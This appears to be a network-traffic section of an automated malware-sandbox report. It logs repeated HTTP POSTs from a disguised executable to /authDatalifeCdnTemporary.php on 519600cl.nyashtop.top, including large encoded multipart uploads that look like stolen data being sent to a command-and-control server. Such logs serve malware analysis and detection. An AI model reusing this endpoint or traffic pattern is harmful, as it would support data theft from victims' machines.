                                                                  Data Raw: 0c 15 22 0d 28 25 0f 08 26 29 2f 0c 2e 2c 36 5f 2d 02 0d 15 3e 21 20 18 3e 14 25 17 2e 10 2b 02 3f 02 3c 5d 3c 21 30 57 30 26 02 57 2b 39 2b 51 07 11 39 5e 32 5b 32 16 2b 33 26 5b 33 31 36 0b 21 0d 20 5b 29 29 0c 19 33 5e 23 0a 28 28 25 59 29 1d 0b 02 26 07 25 0b 28 12 29 00 3c 2d 2f 5e 08 12 26 0e 28 21 25 1c 32 1e 23 5d 36 06 34 5e 2a 3f 25 51 21 01 2a 16 3e 39 22 07 27 2e 14 07 27 2e 3d 05 25 1c 24 54 26 22 3d 5a 24 39 24 50 2f 0f 2c 51 0c 3d 5a 57
                                                                  Data Ascii: "(%&)/.,6_->! >%.+?<]<!0W0&W+9+Q9^2[2+3&[316! [))3^#((%Y)&%()<-/^&(!%2#]64^*?%Q!*>9"'.'.=%$T&"=Z$9$P/,Q=ZW
                                                                  Jan 13, 2025 13:11:37.570754051 CET260OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 540
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:11:37.756791115 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:37.757087946 CET540OUTData Raw: 5f 5e 5b 57 54 43 54 50 5a 5d 56 56 52 5d 50 53 50 51 55 5c 57 51 5a 56 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _^[WTCTPZ]VVR]PSPQU\WQZVT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#8)Z62"Y13'C)*#'(9$8T=:&!1?#$!(?'F!.\*5
                                                                  Jan 13, 2025 13:11:38.026787996 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:37 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:11:38.034297943 CET298OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: multipart/form-data; boundary=----ELP8RQGL7rq4dyz37ytq6Jy6kfZHKys2tN
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 156290
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:11:38.221188068 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:38.222839117 CET14832OUTData Raw: 2d 2d 2d 2d 2d 2d 45 4c 50 38 52 51 47 4c 37 72 71 34 64 79 7a 33 37 79 74 71 36 4a 79 36 6b 66 5a 48 4b 79 73 32 74 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22
                                                                  Data Ascii: ------ELP8RQGL7rq4dyz37ytq6Jy6kfZHKys2tNContent-Disposition: form-data; name="0"Content-Type: text/plain_X^UTATPZ]VVRXPYP[UTWSZYT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^X
                                                                  Jan 13, 2025 13:11:38.227792978 CET2472OUTData Raw: 64 46 52 6b 56 7a 42 54 57 6e 52 5a 4f 47 35 55 63 6c 4e 58 65 6d 46 6d 55 7a 6c 7a 62 30 31 69 65 48 4e 32 62 56 4e 5a 51 32 78 49 65 56 46 36 4e 58 70 31 54 7a 64 48 54 57 6c 73 4d 48 5a 58 55 7a 4e 6f 5a 56 42 55 63 6b 39 54 65 48 51 34 54 47
                                                                  Data Ascii: dFRkVzBTWnRZOG5UclNXemFmUzlzb01ieHN2bVNZQ2xIeVF6NXp1TzdHTWlsMHZXUzNoZVBUck9TeHQ4TGNMZFFYSXVsa21acEdaWkUySHltTzBxQVpBQ3BYMHhWd3d4TWNtTkNmZFJSNVVlYytXbi9mSXFubFVYSlBtMkkvdHVmSzF5TFczNEZXMnZZYlMydFlacjZ5ZzhuVTN1TGlLYXphV1dTRXh4cmlGeEdmTGM3V0dRNkV
                                                                  Jan 13, 2025 13:11:38.227845907 CET7416OUTData Raw: 53 30 35 55 61 30 6c 76 55 48 4e 4c 55 45 74 71 65 6d 35 35 4d 48 6f 76 64 57 6c 7a 57 47 73 34 53 45 63 7a 54 69 39 57 63 6d 5a 72 59 6e 68 36 4d 6d 39 77 4f 44 5a 71 4c 31 59 33 4c 32 31 56 53 6b 78 31 4d 6d 63 72 65 57 30 33 64 57 38 35 56 6e
                                                                  Data Ascii: S05Ua0lvUHNLUEtqem55MHovdWlzWGs4SEczTi9WcmZrYnh6Mm9wODZqL1Y3L21VSkx1MmcreW03dW85VnZITTF2YzM5bEE2Uy9abmhNZVpDNnA1a2dMWkJPZUFRVzVHQ3cvc3pSTlMwNTExU3dtQ1IzRWZucmJUTXFib1hWUzZ0SGtnc3k4QldIWFB2b0NORjZJb3oxd0tiNUVYL1BKUCsrUlZMSzBsSktXNnQ4aUhuTGxLTGN
                                                                  Jan 13, 2025 13:11:38.227885962 CET4944OUTData Raw: 54 6e 68 68 62 33 6c 58 5a 48 41 31 62 7a 68 35 55 31 46 71 52 32 52 31 59 7a 51 31 65 43 74 4b 55 47 46 7a 4d 6a 64 30 64 6e 52 56 55 56 52 6b 64 48 64 6a 4e 58 68 74 64 48 5a 33 4e 54 68 50 55 43 74 46 5a 7a 41 72 55 7a 59 76 64 46 67 33 55 48
                                                                  Data Ascii: Tnhhb3lXZHA1bzh5U1FqR2R1YzQ1eCtKUGFzMjd0dnRVUVRkdHdjNXhtdHZ3NThPUCtFZzArUzYvdFg3UHNtTVczN1B1emdBNXp1SHJYeXVjNGVvcTN0cmU3b3ZtZTVsTGNueTAxZVMxLzRKVzhiUzZmcmR2WStJN1M2Z0Z6Y29JN3kwODBlWWpxTWJ0dWM0NHgrUjcxcStGTEZ0UStIc3NTNkYvYkpHcWx2cy8ydjdQdC9kTDg
                                                                  Jan 13, 2025 13:11:38.227950096 CET2472OUTData Raw: 61 6e 42 52 54 56 52 49 4e 57 55 78 51 6a 51 72 62 45 74 53 4c 7a 68 42 63 6e 42 44 54 55 68 30 55 55 46 75 64 43 39 4c 62 47 38 33 56 55 56 49 52 6b 6c 4d 62 6d 55 77 56 56 56 57 51 6a 68 7a 55 6c 52 36 56 46 64 73 61 6d 56 59 63 30 39 76 4d 69
                                                                  Data Ascii: anBRTVRINWUxQjQrbEtSLzhBcnBDTUh0UUFudC9LbG83VUVIRklMbmUwVVVWQjhzUlR6VFdsamVYc09vMituVG9GdDdXZTRXVmw4MXpsc2VXakhoRllkUDRoVU55c3F2ckEwN1RUclFkcmVlMmhpYVJGRnZOdUx5QURhMkVZYk1uQVhxd3FTZlRvcFl4ZnpRYm9sbEVQbUhHQStNNDllbFZIMExUNUdMR0FBbnFSWGsxc0pWcTF
                                                                  Jan 13, 2025 13:11:38.227968931 CET2472OUTData Raw: 55 58 4d 32 59 6d 64 45 61 31 5a 46 64 57 73 79 55 30 56 72 55 57 70 4b 52 30 74 6c 53 58 6b 79 56 6c 64 7a 4e 58 46 57 61 7a 64 6d 4d 54 67 33 54 44 64 70 54 55 70 74 4f 45 74 47 51 6c 55 7a 52 7a 64 57 4c 79 74 43 4f 54 45 79 57 6a 4a 76 56 30
                                                                  Data Ascii: UXM2YmdEa1ZFdWsyU0VrUWpKR0tlSXkyVldzNXFWazdmMTg3TDdpTUptOEtGQlUzRzdWLytCOTEyWjJvV09xYVg0YzFPMjFLQzR0WnJyVVloYnJJdURLcUxLWFpmN3lqY3Z6REk1SE5TNmtsL2JwcWw5dG1TMmJ3OVkyME03cmlOcHo5bklRRThGc0FrajB5VHhWcUhTTE9COTZSOCs5TWJRckJuTEdMazllYXhlVTFIRzNOci9
                                                                  Jan 13, 2025 13:11:38.227977991 CET2472OUTData Raw: 56 56 56 56 56 57 64 46 62 32 39 76 63 47 64 47 53 6c 4d 77 56 55 52 46 62 33 42 55 55 31 56 42 53 6c 4e 70 61 57 6c 74 51 57 78 47 51 6d 39 76 52 30 70 53 55 32 31 72 62 30 4a 43 55 7a 56 77 53 30 74 5a 65 48 64 6a 4c 31 64 71 53 32 35 78 64 6a
                                                                  Data Ascii: VVVVVWdFb29vcGdGSlMwVURFb3BUU1VBSlNpaWltQWxGQm9vR0pSU21rb0JCUzVwS0tZeHdjL1dqS25xdjVVMmlnQmZMVS9kYjg2WVltSGI4cWRtbERFVVdEVWlJUGZpa3FmZm5xQWFRcWg5cVZoOHhEaWtxVXhmM1NEVENyRHFEUllkeHRGRkZGaWhLS0tLQUVvcGFTbU1RMFV0RklCTVVsTFJRTWJpZzB0RkFDVVVVVURFb29
                                                                  Jan 13, 2025 13:11:38.228020906 CET2472OUTData Raw: 63 6c 56 72 63 31 64 31 54 47 52 76 57 6c 55 7a 62 33 64 34 62 46 52 35 55 48 42 59 4e 57 34 76 51 55 73 7a 4e 47 6c 48 54 57 4a 75 4c 30 52 6a 62 48 41 78 56 56 59 77 57 47 30 72 63 6c 41 78 54 33 52 33 57 47 68 5a 57 57 46 4f 54 79 38 33 65 46
                                                                  Data Ascii: clVrc1d1TGRvWlUzb3d4bFR5UHBYNW4vQUszNGlHTWJuL0RjbHAxVVYwWG0rclAxT3R3WGhZWWFOTy83eFJldlJ5ZHRmUmRFWjNoZnlGMU5wcG5RR05ma0RFRGsvd0NUWGZyS3J4OWlDSzh0MUxSSjlPUVNOekN4MnF4NE9mcFc1NFFuM2I0STd5VGNneTF2S01qSDk1RDI5eDcxcnhMZ1lZK2s4Mm9WZWFOa3JXZWx2UHByM1h
                                                                  Jan 13, 2025 13:11:39.126894951 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:38 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:11:39.129026890 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:11:39.315275908 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:39.872368097 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:39 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  44192.168.2.44990737.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:36.852855921 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:37.204727888 CET2580OUTData Raw: 5a 5e 5b 51 54 44 54 5d 5a 5d 56 56 52 5e 50 5d 50 5a 55 5a 57 50 5a 5a 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z^[QTDT]Z]VVR^P]PZUZWPZZT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ ,^ 22+)(%("R'(>'$!=)98$ ).'F!.\*9
                                                                  Jan 13, 2025 13:11:37.486445904 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:37.621797085 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:37 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  45192.168.2.44991337.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:37.951503992 CET260OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 540
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:11:38.298448086 CET540OUTData Raw: 5a 58 5b 57 51 44 54 5d 5a 5d 56 56 52 5e 50 5a 50 5e 55 5b 57 50 5a 58 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZX[WQDT]Z]VVR^PZP^U[WPZXT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ 8=6T&2<)* 3^!0=<),'12^()0'?(>'F!.\*9
                                                                  Jan 13, 2025 13:11:38.621486902 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:38.743159056 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:38 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:11:38.747723103 CET298OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: multipart/form-data; boundary=----jF9mUG8SCn1eKVUfYoaA4XfOYD5AXvh445
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 156246
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:11:38.939574957 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:38.940051079 CET12360OUTData Raw: 2d 2d 2d 2d 2d 2d 6a 46 39 6d 55 47 38 53 43 6e 31 65 4b 56 55 66 59 6f 61 41 34 58 66 4f 59 44 35 41 58 76 68 34 34 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22
                                                                  Data Ascii: ------jF9mUG8SCn1eKVUfYoaA4XfOYD5AXvh445Content-Disposition: form-data; name="0"Content-Type: text/plainZU[^QBTVZ]VVRXP[PYU]W_ZWT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^X
                                                                  Jan 13, 2025 13:11:38.944991112 CET4944OUTData Raw: 51 6b 73 33 63 32 64 61 4e 48 6c 4e 56 55 78 48 4e 31 68 72 64 48 42 31 61 56 4e 68 53 7a 64 71 63 32 30 7a 63 31 46 51 54 6d 51 35 61 57 64 6a 5a 58 70 49 4e 6b 74 6d 63 46 68 4b 4f 56 52 33 53 47 59 34 56 48 59 72 64 6a 56 75 4c 30 46 44 4c 32
                                                                  Data Ascii: Qks3c2daNHlNVUxHN1hrdHB1aVNhSzdqc20zc1FQTmQ5aWdjZXpINktmcFhKOVR3SGY4VHYrdjVuL0FDL2dkLzhBOExPLzZnLy9BSk0vL1lWeTNpVFhmK0VoMUdPNyt6L1o5a1FpMmI5K2NFbk9jRDFyS0NSeXZiaTF2Yk82U2E4U3lNa0x1QkhLMzNRd1pGWUE4OGdFY0dvbmVBL2FEYjM5bmRMYlF0TktZaklOb0RxbVBuUmN
                                                                  Jan 13, 2025 13:11:38.945080996 CET4944OUTData Raw: 53 32 70 36 62 6e 6b 77 65 69 39 31 61 58 4e 59 61 7a 68 49 52 7a 4e 4f 4c 31 5a 79 5a 6d 74 69 65 48 6f 79 62 33 41 34 4e 6d 6f 76 56 6a 63 76 62 56 56 4b 54 48 55 79 5a 79 74 35 62 54 64 31 62 7a 6c 57 64 6b 68 4e 4d 58 5a 6a 4d 7a 6c 73 51 54
                                                                  Data Ascii: S2p6bnkwei91aXNYazhIRzNOL1ZyZmtieHoyb3A4NmovVjcvbVVKTHUyZyt5bTd1bzlWdkhNMXZjMzlsQTZTL1puaE1lWkM2cDVrZ0xaQk9lQVFXNUdDdy9zelJOUzA1MTFTd21DUjNFZm5yYlRNcWJvWFZTNnRIa2dzeThCV0hYUHZvQ05GNklvejF3S2I1RVgvUEpQKytSVkxLMGxKS1c2dDhpSG5MbEtMY050VnVZN1Qyczh
                                                                  Jan 13, 2025 13:11:38.945143938 CET4944OUTData Raw: 55 48 70 73 61 6e 64 32 62 48 42 36 61 79 39 6f 65 44 63 78 4e 47 6c 72 4e 7a 4a 61 4f 55 4a 53 65 47 52 53 4d 55 39 54 62 32 78 30 4d 48 56 6b 55 6b 78 68 54 6b 78 77 4d 58 70 77 64 44 56 76 4f 54 46 6a 65 46 42 51 54 6b 6c 49 61 6d 56 4d 52 30
                                                                  Data Ascii: UHpsand2bHB6ay9oeDcxNGlrNzJaOUJSeGRSMU9Tb2x0MHVkUkxhTkxwMXpwdDVvOTFjeFBQTklIamVMR0drWmxJM09DQ0F3N1Y1aHErbFhHa1g1dHJpTjQ5dzN4N3l1NG9TUUNkcElCNFBldldQN1IxcnlvbS9zRDUyVWwwKzJKOGgzRVl6am5nQS9qanRYRWZFZjhBNUdLRC9yMFgvd0JEZXZXeW1yS09KVVU5SGUvM001czR
                                                                  Jan 13, 2025 13:11:38.945205927 CET4944OUTData Raw: 61 44 68 34 62 32 78 53 53 46 70 77 62 44 4e 53 51 55 6c 6a 64 55 39 6c 56 6a 6c 53 64 32 56 75 62 32 45 30 63 31 42 6f 63 30 35 6f 4e 6e 4d 32 62 45 74 35 4e 58 4a 59 57 46 52 54 4c 79 74 61 4d 6c 6c 70 64 6d 6c 78 4f 55 39 47 54 33 46 74 4b 31
                                                                  Data Ascii: aDh4b2xSSFpwbDNSQUljdU9lVjlSd2Vub2E0c1Boc05oNnM2bEt5NXJYWFRTLytaMllpdmlxOU9GT3FtK1c5blozMXQva0ZGT2lqbHVMYVc1Z2dubHQ0cytaTEhFekltQms1SUdCeDYweHNvenF5T3JJcFpsS0hLZ0RKSkdNZ1k1K2xkbnRJWHRkSEo3S3BaUGxldmtMUlVsemIzTm41ZjJ1MXVMWVNjSVo0V2pEZlRjQm1vNnF
                                                                  Jan 13, 2025 13:11:38.945240021 CET2472OUTData Raw: 61 7a 4a 54 52 57 74 52 61 6b 70 48 53 32 56 4a 65 54 4a 57 56 33 4d 31 63 56 5a 72 4e 32 59 78 4f 44 64 4d 4e 32 6c 4e 53 6d 30 34 53 30 5a 43 56 54 4e 48 4e 31 59 76 4b 30 49 35 4d 54 4a 61 4d 6d 39 58 54 33 46 68 57 44 52 6a 4d 55 38 79 4d 55
                                                                  Data Ascii: azJTRWtRakpHS2VJeTJWV3M1cVZrN2YxODdMN2lNSm04S0ZCVTNHN1YvK0I5MTJaMm9XT3FhWDRjMU8yMUtDNHRacnJVWWhickl1REtxTEtYWmY3eWpjdnpESTVITlM2a2wvYnBxbDl0bVMyYnc5WTIwTTdyaU5wejluSVFFOEZzQWtqMHlUeFZxSFNMT0I5NlI4KzlNYlFyQm5MR0xrOWVheGVVMUhHM05yL3dMSFJITzZTbnp
                                                                  Jan 13, 2025 13:11:38.945265055 CET2472OUTData Raw: 5a 30 5a 4b 55 7a 42 56 52 45 56 76 63 46 52 54 56 55 46 4b 55 32 6c 70 61 57 31 42 62 45 5a 43 62 32 39 48 53 6c 4a 54 62 57 74 76 51 6b 4a 54 4e 58 42 4c 53 31 6c 34 64 32 4d 76 56 32 70 4c 62 6e 46 32 4e 56 55 79 61 57 64 43 5a 6b 78 56 4c 32
                                                                  Data Ascii: Z0ZKUzBVREVvcFRTVUFKU2lpaW1BbEZCb29HSlJTbWtvQkJTNXBLS1l4d2MvV2pLbnF2NVUyaWdCZkxVL2RiODZZWW1IYjhxZG1sREVVV0RVaUlQZmlrcWZmbnFBYVFxaDlxVmg4eERpa3FVeGYzU0RUQ3JEcURSWWR4dEZGRkZpaEtLS0tBRW9wYVNtTVEwVXRGSUJNVWxMUlFNYmlnMHRGQUNVVVVVREVvb29wakNrcGFTZ1l
                                                                  Jan 13, 2025 13:11:38.949856043 CET2472OUTData Raw: 56 54 4e 76 64 33 68 73 56 48 6c 51 63 46 67 31 62 69 39 42 53 7a 4d 30 61 55 64 4e 59 6d 34 76 52 47 4e 73 63 44 46 56 56 6a 42 59 62 53 74 79 55 44 46 50 64 48 64 59 61 46 6c 5a 59 55 35 50 4c 7a 64 34 55 6d 56 32 55 6e 6c 6b 64 47 5a 53 5a 45
                                                                  Data Ascii: VTNvd3hsVHlQcFg1bi9BSzM0aUdNYm4vRGNscDFVVjBYbStyUDFPdHdYaFlZYU5PLzd4UmV2UnlkdGZSZEVaM2hmeUYxTnBwblFHTmZrREVEay93Q1RYZnJLcng5aUNLOHQxTFJKOU9RU056Q3gycXg0T2ZwVzU0UW4zYjRJN3lUY2d5MXZLTWpIOTVEMjl4NzFyeExnWVkrazgyb1ZlYU5rcldlbHZQcHIzWFU2OHZ5cW5nTU9
                                                                  Jan 13, 2025 13:11:38.949875116 CET2472OUTData Raw: 59 30 78 69 51 6b 6c 77 4d 33 6c 6e 59 32 74 6e 4f 55 49 32 5a 47 6f 72 54 6b 39 6e 4f 45 6f 72 53 54 52 34 63 32 5a 54 4e 58 70 30 54 30 45 7a 53 45 6b 76 54 33 46 4f 4f 57 4a 4e 63 47 74 7a 59 6a 5a 4a 63 54 5a 49 62 47 4d 76 54 57 70 6d 4e 44
                                                                  Data Ascii: Y0xiQklwM3lnY2tnOUI2ZGorTk9nOEorSTR4c2ZTNXp0T0EzSEkvT3FOOWJNcGtzYjZJcTZIbGMvTWpmNDErWVVzTlN3MkxqVnJ3NW9wK3Evd0FuM1A2RXhTcFk2aTFocHB5dGZmWDU5VVY1TlRsdWdHbm5lVWdjRjJKeFUvaDI2WWVKYllvZmxBZmY5TnAvcmlzbit5WncyRXVFS2VweURXeHBOdEhweFp0KzZWeGhuOXZRVjl
                                                                  Jan 13, 2025 13:11:39.747741938 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:39 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  46192.168.2.44992437.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:40.066353083 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:11:40.430927992 CET2580OUTData Raw: 5f 5e 5b 50 54 40 51 53 5a 5d 56 56 52 5b 50 5d 50 5d 55 58 57 56 5a 5a 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _^[PT@QSZ]VVR[P]P]UXWVZZT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#];3&"!>]%/E*+'(%'. =:<$9?0_31<'F!.\*-
                                                                  Jan 13, 2025 13:11:40.699234962 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:40.830414057 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:40 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  47192.168.2.44992837.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:41.381592035 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:41.735970974 CET2580OUTData Raw: 5a 5b 5e 56 54 41 54 51 5a 5d 56 56 52 5f 50 5c 50 51 55 5a 57 53 5a 5a 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z[^VTATQZ]VVR_P\PQUZWSZZT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#_.3."">]%#+>*308.R'>>\ V0!(<_'Z(.'F!.\*
                                                                  Jan 13, 2025 13:11:42.039619923 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:42.137763023 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:41 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  48192.168.2.44993337.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:42.040081978 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
